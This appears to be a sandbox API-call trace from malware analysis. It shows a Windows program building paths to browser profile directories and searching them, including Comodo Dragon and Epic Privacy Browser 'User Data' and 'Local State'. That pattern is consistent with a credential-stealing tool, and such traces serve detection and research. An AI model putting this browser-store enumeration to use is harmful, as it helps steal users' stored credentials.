[0052.795] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comodo\\dragon\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.795] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*") returned 64
[0052.795] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comodo\\dragon\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.795] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*") returned 64
[0052.795] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comodo\\dragon\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.795] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*") returned 64
[0052.795] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comodo\\dragon\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.795] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*") returned 64
[0052.795] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comodo\\dragon\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.796] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*") returned 64
[0052.796] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comodo\\dragon\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.796] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x181904 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned 0x0
[0052.796] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local"
[0052.796] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local", lpString2="\\Epic Privacy Browser\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\"
[0052.796] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\"
[0052.796] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\"
[0052.796] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\", lpString2="Local State" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\Local State") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\Local State"
[0052.796] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x67d910
[0052.796] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x67d910, cbMultiByte=80, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 80
[0052.796] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x67d968
[0052.796] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x67d910, cbMultiByte=80, lpWideCharStr=0x67d968, cchWideChar=80 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\Local State") returned 80
[0052.796] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x67da10
[0052.796] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d968 | out: hHeap=0x670000) returned 1
[0052.796] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\Local State" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\epic privacy browser\\user data\\local state")) returned 0xffffffff
[0052.796] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67da10 | out: hHeap=0x670000) returned 1
[0052.796] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d910 | out: hHeap=0x670000) returned 1
[0052.797] wsprintfA (in: param_1=0x1818cc, param_2="%s\\*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*") returned 69
[0052.797] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\epic privacy browser\\user data\\*"), lpFindFileData=0x18178c | out: lpFindFileData=0x18178c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff
[0052.797] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*") returned 71
[0052.797] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\epic privacy browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x98, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x1010023, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.797] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*") returned 71
[0052.797] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\epic privacy browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x98, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x1010023, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.797] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*") returned 71
[0052.797] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\epic privacy browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x98, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x1010023, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.797] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*") returned 71
[0052.797] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\epic privacy browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x98, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x1010023, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.797] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*") returned 71
[0052.797] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\epic privacy browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x98, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x1010023, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.797] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*") returned 71
[0052.797] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\epic privacy browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x98, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x1010023, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.797] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*") returned 71
[0052.797] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\epic privacy browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x98, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x1010023, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.797] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*") returned 71
[0052.797] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\epic privacy browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x98, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x1010023, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.798] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*") returned 71
[0052.798] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\epic privacy browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x98, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x1010023, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.798] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*") returned 71
[0052.798] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\epic privacy browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x98, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x1010023, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.798] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*") returned 71
[0052.798] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\epic privacy browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x98, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x1010023, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.798] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*") returned 71
[0052.798] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\epic privacy browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x98, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x1010023, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.798] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*") returned 71
[0052.798] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\epic privacy browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x98, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x1010023, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.801] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*") returned 71
[0052.801] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\epic privacy browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x98, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x1010023, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.801] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*") returned 71
[0052.801] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\epic privacy browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x98, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x1010023, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.801] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*") returned 71
[0052.801] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\epic privacy browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x98, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x1010023, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.801] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*") returned 71
[0052.801] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\epic privacy browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x98, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x1010023, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.801] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*") returned 71
[0052.801] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\epic privacy browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x98, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x1010023, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.802] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*") returned 71
